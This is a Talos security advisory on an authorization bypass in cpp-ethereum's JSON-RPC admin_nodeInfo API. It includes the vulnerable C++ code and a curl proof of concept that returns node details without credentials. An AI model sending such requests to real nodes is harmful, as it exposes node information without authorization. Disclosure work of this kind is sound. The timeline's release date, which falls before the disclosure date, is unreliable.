Talos Vulnerability Report

TALOS-2017-0465

CPP-Ethereum JSON-RPC admin_nodeInfo improper authorization Vulnerability

January 9, 2018
CVE Number

CVE-2017-12113

Summary

An exploitable improper authorization vulnerability exists in admin_nodeInfo API of cpp-ethereum's JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass.
An attacker can send JSON to trigger this vulnerability.

Tested Versions

Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

Product URLs

http://cpp-ethereum.org

CVSSv3 Score

4.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-285: Improper Authorization

Details

CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. 

One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. Improper authorization checks in the implementation of the admin_nodeInfo API allows a remote attacker without any credentials to triggers functionality reserved only for a user with administrator privileges. We can observe a similar approach in two other clients (lack of any kind of authorization) but in this case the situation is exacerbated by the fact that:

-   By default interface is bound to 0.0.0.0, which means it’s exposed to the world
-   The Content-Type set to ‘application/json’ during requests is not enforced, which means that even if eth JSON-RPC daemon is ran on machine behind a NAT 
    the JSON-RPC APIs can still be easily triggered by CSRF or SSRF attacks.
-   older version of the same API had implemented an authorization check
-   there is no visible option to change the default JSON-RPC interface to localhost

For comparison let us take geth (the go ethereum client) which also implements a JSON-RPC interface but using much better security practices:

-   by default the interface is bound to localhost
-   The “Content-Type” request header value must be set to ‘application/json’ 
-   CORS settings are set to block by default all "cross-domain" requests

Let us take a look at admin_nodeInfo and describe in details improper/consistency check of authorization.

Line 55 Json::Value AdminNet::admin_nodeInfo()
Line 56 {
Line 57     Json::Value ret;
Line 58     p2p::NodeInfo i = m_network.nodeInfo();
Line 59     ret["name"] = i.version;
Line 60     ret["ports"] = Json::objectValue;
Line 61     // Both ports are equal as of 2016-02-04, migt change later
Line 62     ret["ports"]["discovery"] = i.port;
Line 63     ret["ports"]["listener"] = i.port;
Line 64     ret["ip"] = i.address;
Line 65     ret["listenAddr"] = i.address + ":" + toString(i.port);
Line 66     ret["id"] = i.id.hex();
Line 67     ret["enode"] = i.enode();
Line 68     ret["protocols"] = Json::objectValue;
Line 69     ret["protocols"]["eth"] = Json::objectValue; //@todo fill with information
Line 70     return ret;
Line 71 }
Line 72

As we can see there is no check for calling user privileges which is done in couple other APIs via RPC_ADMIN macro. Same functionality is exposed over admin_net_nodeInfo API where at the beginning of API body, privileges check is made:

Line 41 Json::Value AdminNet::admin_net_nodeInfo(std::string const& _session)
Line 42 {
Line 43     RPC_ADMIN;
Line 44     Json::Value ret;
Line 45     p2p::NodeInfo i = m_network.nodeInfo();
Line 46     ret["name"] = i.version;
Line 47     ret["port"] = i.port;
Line 48     ret["address"] = i.address;
Line 49     ret["listenAddr"] = i.address + ":" + toString(i.port);
Line 50     ret["id"] = i.id.hex();
Line 51     ret["enode"] = i.enode();
Line 52     return ret;
Line 53 }

We are aware that this client is not recommended for mining and that the mentioned functionality related with the administrator interface is turned off by default. However when enabled the default behavior is insecure and can allow a remote attacker to perform unauthenticated RPC requests.

Crash Information

icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --ipc --private 123 --no-discovery --datadir `pwd`/data --config config.json --admin-via-http 
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
  By cpp-ethereum contributors, (c) 2013-2016.
  See the README for contributors and credits.
Networking disabled. To start, use netstart or pass --bootstrap or a remote host.
JSONRPC Admin Session Key: Zt9zxSANHZs=
  ℹ  03:09:10 AM.197|miner0  Loading full DAG of seedhash: #00000000…
  ℹ  03:09:10 AM.978|miner0  Full DAG loaded

icewall@ubuntu:~/bugs/cpp-ethereum$ curl -X POST --data '{"jsonrpc":"2.0","method":"admin_nodeInfo","params":[],"id":1}' localhost:8545                                                                                                                                        
{"id":1,"jsonrpc":"2.0","result":{"enode":"enode://d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517@0.0.0.0:0","id":"d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517","ip":"0.0.0.0","listenAddr":"0.0.0.0:0","name":"eth/v1.3.0/Linux/g++/Interpreter/RelWithDebInfo/4e101574/","ports":{"discovery":0,"listener":0},"protocols":{"eth":{}}}}
icewall@ubuntu:~/bugs/cpp-ethereum$ curl -X POST --data '{"jsonrpc":"2.0","method":"admin_nodeInfo","params":[],"id":1}' localhost:8545 | python -m json.tool
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   558  100   496  100    62    98k  12668 --:--:-- --:--:-- --:--:--  121k
{
    "id": 1,
    "jsonrpc": "2.0",
    "result": {
        "enode": "enode://d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517@0.0.0.0:0",
        "id": "d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517",
        "ip": "0.0.0.0",
        "listenAddr": "0.0.0.0:0",
        "name": "eth/v1.3.0/Linux/g++/Interpreter/RelWithDebInfo/4e101574/",
        "ports": {
            "discovery": 0,
            "listener": 0
        },
        "protocols": {
            "eth": {}
        }
    }
}

Timeline

2017-12-06 - Vendor Disclosure
2017-01-09 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.